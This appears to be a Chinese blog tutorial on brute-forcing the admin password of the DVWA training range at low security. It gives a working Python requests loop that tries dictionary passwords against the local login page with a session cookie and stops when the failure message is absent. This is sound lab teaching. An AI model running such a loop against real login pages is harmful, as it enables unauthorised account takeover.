当前位置: 首页 > news >正文

python实现密码暴力破解

实战:DVWA靶场

靶场设置:low级别

判断是否登录成功:看返回的http请求里面是否有

Username and/or password incorrect.

我们这里假设知道用户名是admin不知道密码,要去破解密码

思路:

(1)从字典读取值,生成密码

pwds = open("password.txt") for pwd in pwds: print(pwd) pwds.close()

(2)http连接到需要爆破的地址

按F12查看标头,把你的PHPSEEEIONID复制到代码修改就可以

代码:

import requests # 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题 pwds = open("F:\\password.txt") for pwd in pwds: url = "http://localhost/dvwa/vulnerabilities/brute/" # PHPSESSID务必替换为登录以后的PHPSESSID resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=13hjf2259tmmq16ukv2kdc59g6"}) #print(resp.text) if 'Username and/or password incorrect.' in resp.text: print('破解失败:'+pwd, end='') else: print('破解成功:'+pwd, end='') break; pwds.close()

(3)获得http响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”

(4)如果有提示就继续下一次循环

(5)如果没有就代表爆破成功

破解成功

登录:用户名:admin,密码password

登录成功

http://www.cnnetsun.cn/news/88657.html

相关文章:

  • 数据可视化中色彩运用的核心指南
  • 通过“回馈行动“支持美国退伍军人掌握数据技术
  • 智能网页工作便签备忘录HTML源码
  • Deep Learning for Person Re-identification:A Survey and Outlook阅读笔记
  • 国内口碑好的牦牛绒混纺纱线供应商推荐,含 90%羊毛+10%
  • 测试左移与右移的实施方法
  • 【Maven安装配置】
  • 从原理到实战:STM8S103F3最小系统原理图绘制与PCB设计全攻略
  • 本地部署 Excalidraw 手绘白板教程
  • int32 - int32MAX 出现异常
  • Qwen-Image微调实战:让模型认识新车
  • 路由策略与策略路由
  • 软件测试面试题及答案,2026春招必看版
  • 基于飞桨实现图像分类:从LeNet到ResNet
  • 基于单片机的智能窗帘控制系统设计(光照+遥控)【附代码】
  • LobeChat插件系统开发指南:拓展你的AI应用边界
  • 基于单片机的智能燃气泄漏报警与关闭系统设计【附代码】
  • 基于单片机的智能水位控制系统设计(水箱+自动补水)【附代码】
  • LobeChat本地安装详细步骤指南
  • 《12个月服务期!黑龙江炉渣外运处置项目公开招标》
  • 2025年国产电脑操作系统推荐:银河麒麟为何成为党政机关首选?
  • Flutter 2025 国际化与本地化工程:从多语言到文化适配,打造真正全球化的应用
  • 事务拦截器TransactionInterceptor
  • Qwen3-VL-30B 4bit量化版发布:单卡部署突破
  • FLUX.1-ControlNet自定义控制模式全解
  • Windows server 2019 离线安装docker容器
  • springboot基于uniapp的有机农产品商城电商平台_4747f8w7-小程序
  • 用Dify构建文生视频工作流:从输入到输出
  • 基于Android的高校教室预约管理平台系统(源码+lw+部署文档+讲解等)
  • 开源不输商用!LobeChat媲美ChatGPT的用户体验实测